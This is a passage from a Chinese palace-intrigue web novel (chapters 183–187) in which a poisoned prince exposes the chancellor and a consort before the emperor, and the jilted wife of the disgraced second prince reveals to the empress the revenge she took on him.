“求陛下下旨成立三司会审严查此事!”
“再派重兵保护严查此事的官员家眷,一定要揪出那个丧心病狂的幕后真凶!”
一向息怒不行于色的皇帝此时眼神阴沉沉地看着下面的一个个官员,“那众爱卿说,把这件事情交给谁来查办为好?”
一个个闹得厉害,但是真正该让他们站出来的时候,却不说话了。
皇帝冷哼了一声,正要说话,沈遇知就从外面一步一步走了进来,等走到大殿中,他扑通跪在了地上,沉声道:“皇上,臣愿协助御王殿下查办此案!”
他身后的沈归离和沈归昱兄弟二人也跟着跪了下去,“我等愿意跟父亲一同协助御王殿下查办此案!”
新任
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刑部尚书李重楼也站了出来,他直直地跪在地上抬头看着皇帝,“那凶手如此张狂,不但把刑部当无人之境,更是藐视皇位,臣即便是牺牲了全家的性命,也要揪出幕后真凶,还所有人一个公道!”
“御王殿下,您身子还没有恢复,先回去休息吧...”殿外传来太监劝说的声音。
皇帝抬头朝殿外看去,见到一身狼狈,满脸胡茬儿的楚御礼一步一步地朝着大殿中走来。
众臣也回头朝楚御礼看过去。
皇帝站了起来,他皱着眉喊了一声,“御儿。”
楚御礼一步一步的走进来,走到沈遇知旁边的时候他脚步顿了顿,接着抬步继续往前走,走到大殿最前方的阶梯前面,楚御礼直直地跪了下去,“父皇,儿臣求您派人帮儿臣找婳儿。”
皇帝瞧着这么些年即便是要病**,都未曾求自己救他命的儿子,他只觉得心头一痛,皇帝从台阶上走下来,伸手扶着楚御礼站起来,低声叹道:“那你还找凶手吗?”
楚御礼眼眶一红,眼底闪过一丝倔强的坚毅,“儿臣不止要找出她!还要把她**万段!她杀了多少人,就把她分成多少段!让那些死者家属把她拿回去鞭尸!”
“狂妄!”一直没说话的冯胜文厉声呵斥了一声,“御王殿下难道就不怕这殿中还有那个**魔的同谋吗?现在御王妃还未找到,说不定就是被那些人绑走了!你这话若是惹怒了那**魔,他们把御王妃和沈小姐还有六公主等人鞭尸了怎么办?”
楚御礼眼睛一眯,侧首看向冯胜文,冷声质问,“冯大人为何如此激动?难道您与那**魔就是同谋吗?”
“荒谬!简直是荒谬!你这是在胡说!”冯胜文厉声道:“老臣不过是好心提醒御王殿下,御王殿下可莫要反咬一口!”
“是吗?”楚御礼冷冷一笑,“常年给本王下毒的冯丞相能说出这种话,真是令本王叹服!”
冯胜文闻言整个人一僵,他眼神不可置信地看着楚御礼,“老臣听不懂御王殿下在说什么!”
皇帝也不解地看向楚御礼,沉声问道:“御儿,你这话是什么意思?”
第183章 斩草除根
楚御礼抬头与目不转睛地盯着自己的皇帝对视,接着重新跪在地上对皇帝道:“父皇,儿臣有罪,还请父皇责罚。”
皇帝有些不解地看着忽然给自己下跪道歉的儿子,他伸手去扶楚御礼,语气低沉,“你何罪之有?快起来。”
楚御礼轻叹,“儿子犯了欺君之罪。”
皇帝去扶他的手僵在半空,他认真地看着楚御礼,好一会儿之后才站直身子负手转身朝自己的龙椅走,坐回龙椅,皇帝目光直直地盯着楚御礼,“你有什么事情欺瞒着朕的?”
“儿臣其实在新婚之夜就知道了儿臣的身体并不是胎弱,而是被人下毒。”楚御礼跪直身子看向皇帝,“而且儿臣也一直都知道是谁给儿臣下了毒。”
站在一旁的冯胜文听到楚御礼这话,立刻急了,他扑通跪下去,对着皇帝大喊,“陛下,您难道不信太医院的诊断吗?”
楚御礼瞧着冯胜文这巴不得立刻与这件事情撇清关系的模样,眼底闪过一丝冷意,“冯丞相这么着急做什么?”
坐在龙椅上的皇帝身子微微向前倾斜,目光在楚御礼和冯胜文脸上来回转了一圈,最后坐直身子,问楚御礼,“你有证据?”
“自然有。”楚御礼面无表情地颔首。
楚御礼从怀中掏出自己之前让那些太医院的人签下的认罪书,还有太医院的太医收了冯丞相好处的账簿单子全都拿了出来,福清上前帮楚御礼把这些证据呈给皇帝。
皇帝翻开了所有认罪书以及那些账簿单子,他气得把手中的罪证都捏成了团,接着阴沉地看着跪在地上的冯胜文,语气幽幽,“真是没想到,朕宫中的太医都成了丞相府的府医了啊。”
冯胜文闻言立刻喊冤,“陛下,这是构陷啊!臣不知何时得罪了御王殿下,要让御王殿下如此构陷老臣,老臣冤枉啊!”
“冤枉!”皇帝把手中的证据全都甩在了冯胜文脸上,“十几年前他还只是一个孩童,有什么好构陷你的!”
皇帝说罢厉声呵斥,“去把太医院的那群狗东西都给朕押过来!”
福清连忙带着人离开了。
坐在龙椅上的皇帝坐在龙椅上沉默了半晌,然后偏头看着楚御礼,问,“你是如何得知自己被下毒的?”
楚御礼叹气,“是婳儿,婳儿会医术,在新婚之夜儿臣因为忽然发病让婳儿心急了,就位儿臣诊脉了,父皇可还记得第二日儿臣与婳儿来给您和母后请安,气色比之前好了不少。”
皇帝回想了一下,轻轻点头,“那你为何不当时就告诉父皇和母后,还一个人承受这么多?”
“儿臣**并且被说成是胎弱带病,是有人蓄意为之,也有人推波助澜,这些年即便儿臣去外寻医,依旧只会得到这个结果,这完全是因为儿臣身边的管家谢荣也已经被收买了。”楚御礼面上全是晦涩之意,他痛心地闭上眼睛,“父皇,儿臣最亲近最信任的管家都被收买了,儿臣还敢信任谁?”
跪在地上的冯胜文猛地看向楚御礼,他双眼眯成一条缝,审视着楚御礼,难怪后来他们做什么事情都想是有什么东西模糊着眼睛一眼,什么都不顺,原来是有楚御礼这条睡醒的幼虎一直在暗中作梗。
“所以是你!”冯胜文猛地跪直身子指着楚御礼,“二皇子有今天这一步都是你害的!”
“错了。”楚御礼轻轻摇头,他拿出楚明暄收买谢荣还有一边利用谢荣为自己办事一边把谢荣全家弄死的证据交给候在一旁的小太监,幽幽地对冯胜文道,“楚明暄有今日是他自己害自己,本王从未加害过他,当初之所以选择反击,也是因为他在行宫给谢荣无忧散,让谢荣用在本王身上,让本王三日内暴毙。”
“你胡说!”冯胜文厉声呵斥,“现在谢荣**,已经死无对证了,自然什么都是你说了算!”
楚御礼冷笑,“交给父皇的证据中,还有本王那好二弟购买无忧散的证据,冯丞相不相信可以仔细看看。”
皇帝面色沉沉的拿过证据,一页一页地翻看之后,他狠狠地把证据拍在桌子上厉声呵斥,“冯胜文,你还有什么要狡辩的!”
说罢他又阴沉沉地看着眼中遍布血丝的楚御礼,“你之前
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都不曾把这些事情说出来,为何此时又要说出来了?”
“因为儿臣怀疑丞相冯胜文可能和少女失踪案的幕后真凶有联系!”楚御礼说罢拿出一枚令牌递给皇帝,“父皇可还记得儿臣前两日在秋猎上**,其实那些刺客儿臣早就查出,有一批是冯丞相豢养的死士。”
太监又连忙去接过令牌拿回去给皇帝过目。
皇帝瞧着楚御礼一次次呈上来给自己过目的证据,脸色越来越不好,接着他把证据全都丢到了冯胜文的脸上,“好啊,好啊!冯胜文,你可真是好样的!朕还真是小瞧了你!”
“皇上,这些都是御王殿下蓄意而为的啊!臣冤枉啊!”
“若不是现在婳儿生死不知,儿臣还被冯丞相这般威胁,儿臣定然不会拿出这些罪证来指证冯丞相和二弟!”楚御礼痛心疾首地抬眸看着皇帝,眼底尽是无奈,“父皇,儿臣知道您最忌兄弟残杀,若不是儿臣府上昨夜遭遇如此大的变故,儿臣也不会...”
楚御礼说到这里眼底的泪水从眼眶里面滚落出来,他伏在地上大声喊,“儿臣犯了欺瞒之罪,还请父皇降罪!”
皇帝瞧着匍匐在地上的楚御礼,叹了口气,最后叹道,“罢了,起来吧。”
这时候福清把太医院当值的太医全都带了过来,一进了大殿所有人就直接跪在地上认罪了,他们是真没想到,这御王殿下竟然这么不讲武德的,一下子把他们全都给卖了啊!
冯胜文听着那些太医们一个个招认的话,无力的瘫坐在了地上,接着他无力的笑出了声音,“没想到本相聪明一世,最后竟然败在了你这么个小儿身上!”
楚御礼跪直身子,抬起手袖轻轻地擦拭了一下眼角的泪水,他目光凉凉地看着变相地承认了自己罪行的冯胜文,语气凉薄,“丞相想看本王的笑话,本王就偏偏不让你如愿。”
冯胜文蹙眉,正要说话,就又听楚御礼道,“如今婳儿生死不知,冯丞相又那么盼着本王**,若不是先前你亲自提醒我,我也不会想到先把你这种明面上的威胁先斩草除根。”
第184章 冯氏一族彻底完蛋
皇帝听了太医们的话,震怒之下直接在朝堂上下旨抄丞相府的家,然后把慧妃打入冷宫,而皇帝话音未落下,就有人来报,说二皇子要休妻。
跪在地上的楚御礼眉梢微挑,他就说楚明暄那个蠢货会把自己作死,根本用不了他出手。
而他对接下来的发展已经不感兴趣了,他跪在地上抬头看着皇帝,“父皇,儿臣还想去找婳儿的下落。”
“你昨夜一夜未眠,御王妃朕已经下令让京城兵马司的人全城搜索了,你先回去歇息,只有自己有了精神,你才能找到御王妃。”皇帝说到这里叹了口气,“身体是自己的,御王妃好不容易治好你,你也不想让御王妃还没找回来,你自己就先倒下了吧?”
或许是因为自己提到了御王妃,皇帝看着跪在下面的儿子,沉痛地闭了闭眼睛,他的眼泪从眼角滑落,接着他对自己磕头行礼,“儿臣谨记父皇教诲。”
皇帝瞧着儿子变成如今这模样,心头说不出来的滋味。
大儿子为了冲喜的娘子憔悴成这个模样,而另外一个儿子却不满意自己的赐婚,现在已经被贬为皇子,再也无缘皇储了,他还在破罐子破摔地想要和离!
皇帝大手一挥,“散朝。”
起身走了两步,皇帝厉声道:“把那不孝子和那鲁氏宣进宫,让他们进御书房。”
浮华宫中。
趴在床榻上的慧妃正因为御王府的遭遇而幸灾乐祸,她喝了一口茶水庆祝楚御礼夫妇的遭遇,笑着和身边的宫女道,“本宫现在身子不适,不然本宫还真想要亲自瞧瞧皇后现在的脸色。”
她说完直接疯狂地笑出了声音,“皇后以为我的儿子没了争储的机会,她的儿子就一定可以登上皇位了?哈哈哈,她简直做梦!现在有人替本宫收了她那引以为傲的儿媳和儿子了哈哈哈...”
“圣旨到!”
尖锐的声音打断了慧妃的笑声。
慧妃惊喜地从床上撑着身子要起来,她笑看向贴身伺候自己的嬷嬷,“定是皇上来宽慰本宫了,也不知道这次皇上会赏赐些什么东西,若不是本宫喜欢的,等本宫身子好了,定然会缠着陛下闹闹。”
“娘娘您与皇上感情好,陛下等这阵子气头过了,定然就会恢复二皇子的身份,并且还给二皇子争储的机会的。”嬷嬷笑着轻声道。
慧妃笑着正要让嬷嬷扶着自己下地接旨,福清就带着人直接走了进来,慧妃笑着正要问福清这次皇帝要赏赐自己些什么,就瞧见福清面无表情的展开圣旨:“奉天承运皇帝,诏曰:
朕临御天下,以仁孝治世,待后宫诸妃,恩渥有加。然慧妃冯氏,心怀叵测,罔顾人伦,竟勾结外戚冯家,暗设毒计,意图谋害嫡皇子。
经查,冯氏与其父冯某、私通款曲,贿买太医等人,于皇长子饮食中暗下阴毒,幸上天庇佑,皇子吉人天相,未遭戕害,阴谋遂败露。似此等包藏祸心、谋害皇嗣、联结外戚干政之行径,已触犯国法天条,动摇国本,罪无可赦!
朕念及昔日情分,然国法无情,为正纲纪、儆效尤,现革去冯氏慧妃封号,贬入冷宫,终身幽禁,不得与外界相通。
钦此!”
福清念完圣旨不待冯茹英回过神来就对身后的御林军道,“把冯氏押入冷宫吧。”
冯茹英还没有从自己的美梦中醒过来就被圣旨上的字字句句打得回不过神来,等她反应过来,也顾不得身上的伤痛,朝着福清直接扑了过去,“我要见皇上!我要见皇上!”
“冯氏。”福清回头冷冷地盯着一下子疯了的冯茹英,“陛下现在可没心思见你,咱家奉劝你一句,莫要做些惹皇上嫌弃的事情来。”
冯茹英不可置信地疯狂摇头,“这一切肯定是皇上与本宫开玩笑的!本宫要见皇上!本宫要见皇上!要见我父亲!”
“冯氏!现如今陛下已经下旨抄了冯氏一族的家,冯胜文被关入天牢,等候问斩,冯氏所有人也逃不脱流放的命运,咱家劝你最好是别在这时候再惹怒皇上了。”福清说罢用力抽回自己被冯茹英拽在手中的袖子,大步离开。
冯茹英拼命摇头,这怎么可能!
陛下明明应该来安抚自己才是!
为什么变成这样?
皇后也没想到隐藏了自己心思那么久的楚御礼竟然会在朝堂上把那些事
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情全都闹出来了,此时也顾不得那么多,径直朝楚御礼出宫立府之前住的宫殿而去。
皇后赶过来的时候正好遇上换了身衣服准备出宫找姜黎婳的楚御礼被宫人们拦着劝说不让他出宫。
楚御礼铁了心要出宫,宫人们根本拦不住,此时见皇后过来,一个个跟遇见了救星一样,两忙朝皇后求助,“娘娘,您赶紧劝劝御王殿下吧,太医先前给王爷诊了脉,说王爷现如今身子情况不好,万万是不能操劳的,可奴才们实在是拦不住殿下啊。”
皇后瞧着满眼都是红血丝,人憔悴了不少的儿子,她眼底全是心疼之色,挥退了宫人,皇后拉着楚御礼的手,低声道:“母后知道你担忧婳儿,母后也担心,母后先前也派人去给镇国侯府还有承恩公府送信了,让他们也派人帮忙找婳儿。”
“多谢母后。”楚御礼沙哑着声音颔首。
皇后叹气,她拉着楚御礼往殿内走,“先前不是都不打算把冯茹英他们的罪证交给你父皇的吗?怎么忽然改变主意了?”
“婳儿现在生死不知,儿臣不想让婳儿多一重危险。”楚御礼头疼地坐在红木椅上,抬手揉着眉心,他声音依旧沙哑,“儿臣在找到婳儿之前,定会扫除一切对婳儿有威胁的存在。”
皇后听着他这一番话,摇头一叹,“母后知道你对婳儿的心思,但是你不能拿自己的身体开玩笑,母后就你这么一个儿子。”
楚御礼听着皇后这话双手微微一握,他微微偏头看着皇后,低声问,“母后,若儿臣再也找不到婳儿了怎么办?”
皇后听到楚御礼这说话的语气心头一颤,她捏着帕子的手紧了紧,低声道,“御儿,若你真的再也找不到婳儿了,你更应该振作起来,不要枉费了婳儿为你的牺牲。”
楚御礼垂眸,眼底闪过一丝嘲弄,“那母后是不是还要让儿臣重娶王妃?”
皇后偏头看着楚御礼,“你将来是要当储君的!一国之君三宫六院,要为皇家开枝散叶,即便婳儿一直活着,你将来也是要纳...”
“够了。”楚御礼猛地站起来,“儿臣不想在这时候与母后讨论这个!”
第185章 婚事作废
御书房。
楚明暄是被人扶着走进御书房的,看到坐在龙椅上的皇帝,他垂下眼眸遮住眼底的恨意,挣开宫人的搀扶,他跌跪在地上,“父皇...”
这时候鲁卿秋款款从殿外走了进来,她目光从跪坐在地上的楚明暄身上扫过,接着毕恭毕敬地跪在楚明暄身旁,给皇帝行礼,“儿臣参见父皇。”
皇帝冷眼看着跪在地上的夫妇两人,沉声道:“你们夫妇二人又在闹什么?”
“父皇!鲁卿秋这个恶毒的女人简直就没有把儿臣放在眼中,儿臣要休了这个女人!”楚明暄抬头看着皇帝,双目通红,“儿臣受不了这个女人了!如果您不想看到儿臣死在您面前的话,就让儿臣休了这个女人吧!”
鲁卿秋听着楚明暄一字字埋怨的话,眉梢动了动,并未着急开口为自己辩解。
皇帝这两天本就因为少女失踪案的事情烦心,今天御王府经历了那么大的变故,女儿和儿媳妇更是生死不知,在朝堂上又听到了那么震惊的消息,他先前就想把楚明暄这个残害手足的祸害一起给处置了,他还不满意自己的赐婚,要和离?
皇帝面色沉沉地看了一眼楚明暄,冷声道:“你确定要和离?”
鲁卿秋见皇帝竟然半分不想问自己的意见,而是直接问楚明暄是否真的想要和离?
难道是因为御王府今天发生的事情刺激到皇上了,所以现在皇帝对这个不成器的儿子,多了一丝保护欲?
楚明暄听到皇帝这么问,得意的看了鲁卿秋一眼,接着伏在地上抑扬顿挫的喊道,“父皇啊,儿臣想要和离!儿臣要和这女人和离!这个女人如今拿着鸡毛当令箭,她得了您的令牌,不仅短短两日把儿臣府上那些女人都给遣散了,还不准儿臣...”
“够了。”皇帝冷冷地打断出敏感的话,沉声道:“朕不想听你那些事情,既然你想和离,那朕就成全你。”
说罢,他看向一直未曾辩解半分的鲁卿秋,“你同意和离吗?”
鲁卿秋叹气,沉默了片刻之后,她颔首,“儿臣以为儿臣能够把二皇子带回正途,但是今日御王府之事发生,儿臣却觉得无能为力,二皇子对御王殿下的仇视,好像是从小就...”
“泼妇!你这个疯妇住口!”楚明暄跪直身子猛地推了鲁卿秋一下,鲁卿秋被他推倒在地上,他怒指着鲁卿秋,“你是不是见本皇子要休了你,怀恨在心,就要往本皇子身上泼脏水了?”
“逆子!”皇帝拍桌而起,“当着朕的面,你还敢**了?”
“父皇,这个女人现在就是在装柔弱!”楚明暄怒气冲冲的指着倒在地上的鲁卿秋,“她根本不是这样的!”
“她是如何的,朕还能不知道?”皇帝负手站在龙椅前面,面色冰冷的看着楚明暄,“你的本性如何,朕也知道!”
鲁卿秋慢慢的从地上坐起来,重新跪好,她在地上给皇帝磕了个头,低声道:“多谢父皇,儿臣也受够了这些日子被二皇子怀疑的日子,儿臣自成亲以来,不是听说二皇子又把谁带回了府上,就是在帮那些姑娘安排住处,今日父皇既然同意了儿臣和二皇子和离,那儿臣这就回去收拾行囊了,只是,儿臣一个和离回家的妇人,总是会被人诟病...”
鲁卿秋说到这里,抬头看向皇帝,沉声道:“求父皇看在这几个月以来,儿臣不曾犯错的份上,给儿臣赐一座小宅邸,让儿臣能有个安身之所。”
皇帝坐回龙椅上还没有说话,就听到楚明暄嘲讽的声音,“你不过是本皇子不要的弃妇,现在还想父皇给你赐府邸?脑子坏了?”
皇帝深深地看了楚明暄一眼,冷笑,“朕看是你的脑子坏了!”
他说罢朝御书房外面看了一眼,厉声道:“人呢?出去打听个消息要那么久?”
皇帝话音落下,福清带着人回来了,听到皇帝的话,福清赶紧躬身走进来,恭敬地说道:“奴才已经把圣旨送过去了,也安排了人把人送到冷宫,现在就派人去催一下小路子。”
福清的话音刚落下,小路子就急匆匆地从殿外走了回来,人从楚明暄身边经过,却没有看楚明暄一眼,他疾步走到皇帝面前,跪下去,“陛下,奴才回来了。”
他起身正要去皇帝身边说话,
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就见皇帝扫了他一眼,冷声道:“就这样说。”
小路子立刻应声跪了回去,“奴才打听到今日二皇子得知御王府的事情后在府上肆意狂笑,还扬言说那些刺客怎么没有把御王殿下一同杀了,此事被二皇子妃知道后,就去劝说二皇子谨言慎行,二皇子不但不听劝阻还要打二皇子妃,二皇子妃便拿出您给的令牌让奴仆把二皇子的嘴给堵了,不准二皇子出院子,以免闹出不可收拾的局面,二皇子见状直接让心腹带着他离开二皇子府,说二皇子妃是毒妇,想要休妻。”
“孽子!”皇帝操起手边的玉镇纸就朝楚明暄砸了过去,“你竟然还敢诅咒你大皇兄死!”
楚明暄先前听到小路子那些话,眼底原本闪过一丝心虚,现在被皇帝一砸,心头的愤怒比心虚更多,他捂着头,厉声道:“儿臣变成这样都是他害的!儿臣为什么不能嘴上说两句?”
“你就只是嘴上说吗?”皇帝目光扫过楚明暄,他额头上被镇纸砸到的地方开始流血,皇帝直接视若无睹,“你真以为你们之前的所作所为朕半分不知是吗?”
“反正如今儿臣在父皇眼中就是十恶不赦的,无论儿臣说什么做什么都是错的!既然如此,父皇为何还要留着儿臣,您不如废了儿臣!”楚明暄厉声吼道。
“你当真以为朕不会废了你吗?”皇帝手掌狠狠地在桌案上一拍,“若不是你先前闹出这一出,朕早就下旨废了你了!”
楚明暄听到皇帝这话,整个人一僵,他缓缓抬头看向皇帝,眉头紧促,“你竟然真的想废了儿臣?”
“你伙同冯氏残害手足,更是买通你大皇兄身边的管家数次对你大皇兄下毒手,朕杀了你都可以!”皇帝眼神冰冷的看着根本藏不住对自己恨意的楚明暄,“你现在还有什么好说的?”
楚明暄无力的坐在地上,冷笑,“如今父皇已经对儿臣失望了,自然是父皇说什么就是什么了,儿臣没什么好说的。”
“那就下旨。”皇帝冷冷地睨着楚明暄,“二皇子与鲁氏成亲以来从未同房,婚事就此作废,鲁氏从今以后可自由婚配。”
第186章 佳宁公主
鲁卿秋听到皇帝宣布她和楚明暄婚事作废,她垂下了眼眸遮住了眼底的快意,如今离开楚明暄,时间刚刚好。
她跪直身子,在地上给皇帝磕头,“臣女多谢皇上恩典。”
皇帝摆手,“你先前说得不错,即便你和楚明暄和离错不在你,但是却因为嫁给过他会遭人诟病,若是就这样直接回府,怕是日子不好过,既然如此,那你也就不必离开,就住在二皇子府,改日朕让人把二皇子府的匾额给换了,你就以郡主的名义,住在府上吧。”
鲁卿秋震惊地抬头看向皇帝,“皇上?”
皇帝叹气,“这件事情毕竟是皇家对不起你,朕今日起就收你当干女儿,封你万和郡主,若以后你再婚配,可以招婿入赘,也可以从郡主府出嫁,若你此生不再婚配,就领朝廷的俸禄,也不必回去看旁人的脸色。”
鲁卿秋动容地闭了闭眼睛,郑重的在地上磕了个头,“儿臣多谢父皇隆恩!”
“不行!”楚明暄哄着双眼抬起头怒瞪着皇帝,“这个**住在二皇子府,那我...”
皇帝看了福清一眼,福清赶紧拿着先前就准备好的圣旨展开,“奉天承运,皇帝诏曰:二皇子楚明暄,罔顾人伦残害手足...”
听到自己被贬为庶民押入宗人府几个字,楚明暄瞬间失去了所有的力气,他抬头看着皇帝,嘶声吼道:“为什么?你为什么这么狠心!我也是你的儿子!楚御礼他又没有死!他不仅现在活得好好的,还成了你最耀眼的儿子,你为什么还要这样对我?我也是你的儿子啊!”
“朕没有你这种残害手足的儿子!”皇帝眼神冰冷地看着已经失去神志的楚明暄,语气没有半分起伏,“你应该庆幸身上还流着朕的血,否则你的下场和冯胜文一样,死罪难逃!”
楚明暄怔怔地看着皇帝,指尖止不住的颤抖,好一会儿之后他才颤抖着声音问,“你下旨把他们都杀了?”
皇帝懒得在理会楚明暄,挥手让福清把人给拖下去,然后对鲁卿秋道:“府上那些人你用着若是不放心,换了就是,朕的圣旨一会儿就会让福清送到府上,你安心住着。”
鲁卿秋应了一声,然后抬头看向皇帝,“父皇,儿臣与二皇子的婚事是您和皇后娘娘促成的,皇后娘娘也曾对儿臣寄予厚望,希望儿臣能够管好二皇子,如今儿臣有负皇后娘娘的重望,儿臣想过去向娘娘请罪。”
“这件事情不是你的错。”皇帝听鲁卿秋提起皇后就想到御王府的事情,他眉头紧紧地皱起来,语气也比先前沉重了不少,“不过皇后喜欢你,如今御王府遭遇变故,想来皇后的心情定也不好,你过去宽慰一下皇后吧。”
鲁卿秋闻言应了声是,谢恩之后退了出去。
鲁卿秋从御书房中退出来,就看到一个气质高贵的中年女人身着一身青衣站在御书房门外,而一个小太监正好说,“殿下您在这里稍等片刻,奴才进去通禀。”
鲁卿秋抬眸看了女人一眼,女人的目光也正好扫过来,看到鲁卿秋的那一瞬间,女人冲她笑着点了点头,这一笑如沐春风,鲁卿秋连忙垂首朝女人福了福身子,然后快步离开。
鲁卿秋离开之后,女人回眸看了鲁卿秋的背影一眼,接着轻笑了一声。
此时进去通禀的太监走了出来,恭恭敬敬地对女人说道:“佳宁公主,陛下请您进去。”
佳宁公主这才信步朝御书房里面走去。
御书房中,皇帝瞧着款款朝自己走来的女人,眼底闪过一丝恍惚,好一会儿了才摇头叹道:“朕还以为你从那以后就要永居山林,再也不回京城了,还知道回来?”
佳宁公主笑着朝皇帝行礼,一举一动赏心悦目,等给皇帝行礼站直身子之后,她才笑着回话,“臣妹虽然久居山林,却还是时常听说城内发生的事情,听说了秋猎**的事情,臣妹实在是不放心,便想着回来看看,谁知这才回京,就听到了御王府的噩耗。”
佳宁公主说到这里眼底蕴藏的笑意也消失无踪,眼底尽是后怕和担忧,“臣妹今早听到这消息之后是一刻都坐不住了,想进宫来问问皇兄这究竟是怎么回事,还有御儿他如何了?”
说起楚御礼,佳宁公主
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眼底全是怜惜,“那孩子从小就命苦,小小年纪就如此重病,如今病情好不容易好转,却又遭遇了如此大的变故,臣妹现在就担心那孩子遭受不住打击,又出个好歹来。”
她说到这里抬头看向皇帝,“如今竟然有人如此胆大妄为不把咱们皇室放在眼中,皇兄您可不能就这么姑息了凶手!”
不待皇帝说话,她开始抬手拭泪,“这凶手灭了御王府的手段和当年杀了驸马全家的手段如出一辙...今天听到御王府的事情,臣妹就想起十几年前那场大火...”
皇帝想起那场大火,那夜若不是太后忽然生病,她被招进皇宫侍疾,怕是佳宁当年也成了那场大火中的亡魂了。
想到这里,皇帝叹了口气,“当**情已经查清楚了,是驸马仇家的报复所为,你也不要多想了,若是驸马和昭儿知道你如今还在为当**情耿耿于怀的话,他们在天之灵也会为你担心的。”
佳宁公主听到这话眼泪更是止不住的流,她拿着手帕擦拭眼角的泪水,声音也沙哑了起来,“臣妹就是放不下啊,臣妹的昭儿还那么小,那些贼人都不放过她...”
皇帝瞧着佳宁公主的泪水,忽然觉得有些不对劲儿,她不是进宫看望御儿的吗?怎么变成自己在安抚她了?
好像是皇帝不说话了,让佳宁公主的泪水止了几分,她抬眸看了一眼面色不好的皇帝,泣声道:“是臣妹的不是,说起往事就收不住了,御儿和御王妃这才成亲数月,还是新婚的时候,两人感情正好的时候,就发生了这种事情,不知御儿现在如何了?”
皇帝叹气,“他如今住在幼时所住的宫殿中,你过去瞧瞧吧,对劝劝他,让他放宽心。”
佳宁公主垂眸颔首,“臣妹定然过去好好劝劝他。”
她转身正要离开,忽然想到了什么,回头看向皇帝,“皇兄,明暄虽然不成器,但也是您的儿子,您真的要就这么废了他?”
提起楚明暄,皇帝的脸色不如先前那样柔和了,他皱起眉头沉声道:“别提那个不孝子,朕就当没有这么个儿子!”
第187章 鲁卿秋恨二皇子的原因
鲁卿秋从御书房中出,还没有走几步就听到了楚明暄的谩骂声,她站在长廊上看向被人押着的楚明暄,嘴角牵起一抹浅浅的弧度,瞧着楚明暄这气得要死的模样,鲁卿秋的脑海中忽然想起数年前楚明暄那张高傲不可一世的嘴脸。
她迈步一步一步朝着楚明暄走过去,每走一步好像对楚明暄的恨意就越少了,毕竟那个仇她报了。
鲁卿秋走到楚明暄面前站定,她看着楚明暄狰狞的模样,眼底闪过一丝轻蔑,这一抹神色鲁卿秋并未掩饰,楚明暄看得一清二楚。
他恼怒地挣扎了一下,挣不脱侍卫的束缚,他恶狠狠地瞪鲁卿秋,咬牙切齿地问,“你不藏了?”
鲁卿秋轻笑,“我瞧不起你这件事情从一开始就是。”
我恨你也是。
“那你还要嫁给我!”楚明暄嘶声怒吼,“你这个**!”
“嫁给你是圣旨,不然你以为哪家贵女愿意嫁给你这么个脏东西。”鲁卿秋慢条斯理地整理了一下自己的袖口,眼底的轻蔑之意不加掩饰,她抬眸看着想要挣脱侍卫过来打自己的楚明暄,轻嗤,“你府上那些莺莺燕燕谁不是你硬抢回来的?”
“鲁卿秋!”楚明暄用尽全身力气挣扎着往前走了一步,“我要杀了你!”
“你?就你这种废物,现在还想来杀了我?”鲁卿秋哼笑了一声,“你也要有这个本事啊。”
她说着拍了拍手,往后退了一步,对侍卫道:“把人带下去吧。”她睨着楚明暄,“本郡主还得回去重新布置本郡主的郡主府呢。”
“你这个贱...噗...”
楚明暄气急攻心一口鲜血从口中喷了出来。
鲁卿秋嫌弃地看着地上的鲜血,人往后面退了一步,“真脏。”
她转身,眼底的笑意溢了出来,她迈步朝后宫走去。
这口血吐出来,楚明暄应该活不长了。
娘、表妹,你们的仇我报了,你们可以安息了。
她垂下手,藏住自己捏紧的双手。
......
鲁卿秋到凤仪宫的时候,皇后正揉着太阳穴在休息,看到鲁卿秋大步朝自己走来,皇后停下动作,朝她招手,神色欣慰地冲她道:“本宫就知道你有本事让自己全身而退。”
鲁卿秋红着眼走到皇后面前,郑重地跪在了地上,“卿秋多谢皇后娘娘,若不是娘娘您成全,臣女这辈子都无法给娘亲和表妹报仇。”
“你这孩子,本宫不过是在皇上耳边说了两句,促成了你们的婚事,其他的还是你自己完成的。”皇后拉着鲁卿秋的手让她起来坐,“只是如今你虽然全身而退了,将来的婚事怕也...”
“陛下收了臣女为干女儿,还封了臣女为郡主,让臣女以后继续住在二皇子府上。”鲁卿秋垂眸,“卿秋多谢娘娘和陛下的怜惜。”
皇后闻言先是一怔,接着笑了,她点头,“那将来你就放下那件事情,自己好好过活,你如今有陛下干女儿的身份在,将来也能帮衬你家中亲弟几分。”
皇后提起这件事情,鲁卿秋又动容地站起来朝着皇后跪了下去,“臣女多谢皇后娘娘。”
“你用不着谢本宫。”皇后这次没有再去扶鲁卿秋,她端着手边的茶盏喝了口茶,面无表情地看着鲁卿秋,“当初本宫那样做,也是在利用你对楚明暄的仇恨,这件事情我们是相互利用,相互成就。”
“他已经吐血了,过了今夜他就会浑身如蚁啃食疼痛难忍,那里也会慢慢地坏掉,等他适应身体的疼痛时,就是他命绝之时!”鲁卿秋抬眸看向皇后,她眼底闪过一丝报复之后的快感,“我的仇,不是要他被废,我是要他先生不如死,然后慢慢死去。”
“你做得很好,本宫很满意。”皇后说罢脸上露出疏离之色,“不过今后若非必要,你就不必再与本宫来往。”
“卿秋不会再入宫打扰娘娘,给您带来困扰的。”鲁卿秋又给皇后磕了个头,抬头看着皇后道,“当年表妹与我带母亲出城寻医,却被那个男人盯上掳走,她更打伤了我和车夫,耽误了母亲救治,导致母亲死亡,后来表妹更是遭受不住侮辱直接咬舌自尽...”
鲁卿秋说着这些话,眼泪一滴一滴地从眼眶中滑落,
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声音也逐渐变得沙哑,“若不是皇后娘娘您帮忙,臣女这辈子都无法将母亲和表妹的遭遇宣之于口,更无法为她们报仇,您是卿秋的恩人,将来若您还有什么用得着卿秋的地方,卿秋一定在所不辞。”
皇后听到鲁卿秋这话脸上的疏离之色逐渐消失,她搭在扶手上的手臂动了动,但最终还是并未站起来,“既然大仇得报,你也不必再耿耿于怀。”
“是。”鲁卿秋颔首,“卿秋谨记娘娘教诲。”
皇后摆了摆手,“去吧,本宫有些乏了,就不留你了。”
鲁卿秋轻声应是,她从地上站了起来,瞧着皇后疲乏的神色,她忍不住多说了一句,“御王妃吉人自有天相,她与六公主等人一同失踪,说不定是因为昨夜的事情被他们亲眼目睹,他们被吓到,所以暂时躲了起来,娘娘还请放宽心,以自己的身体为重。”
“本宫知道。”皇后朝鲁卿秋摆了摆手,“去吧。”
瞧着鲁卿秋款款离去的背影,皇后紧闭双眼皱起眉头,她知道婳儿向来是有福气的,她现在担忧的倒不是她的安危,而是御儿先前在她面前说的那些话。
那些话可不是一个未来的帝王应该说的话。
什么三千弱水只取一瓢。
什么即便当了皇帝也可以只有一个皇后。
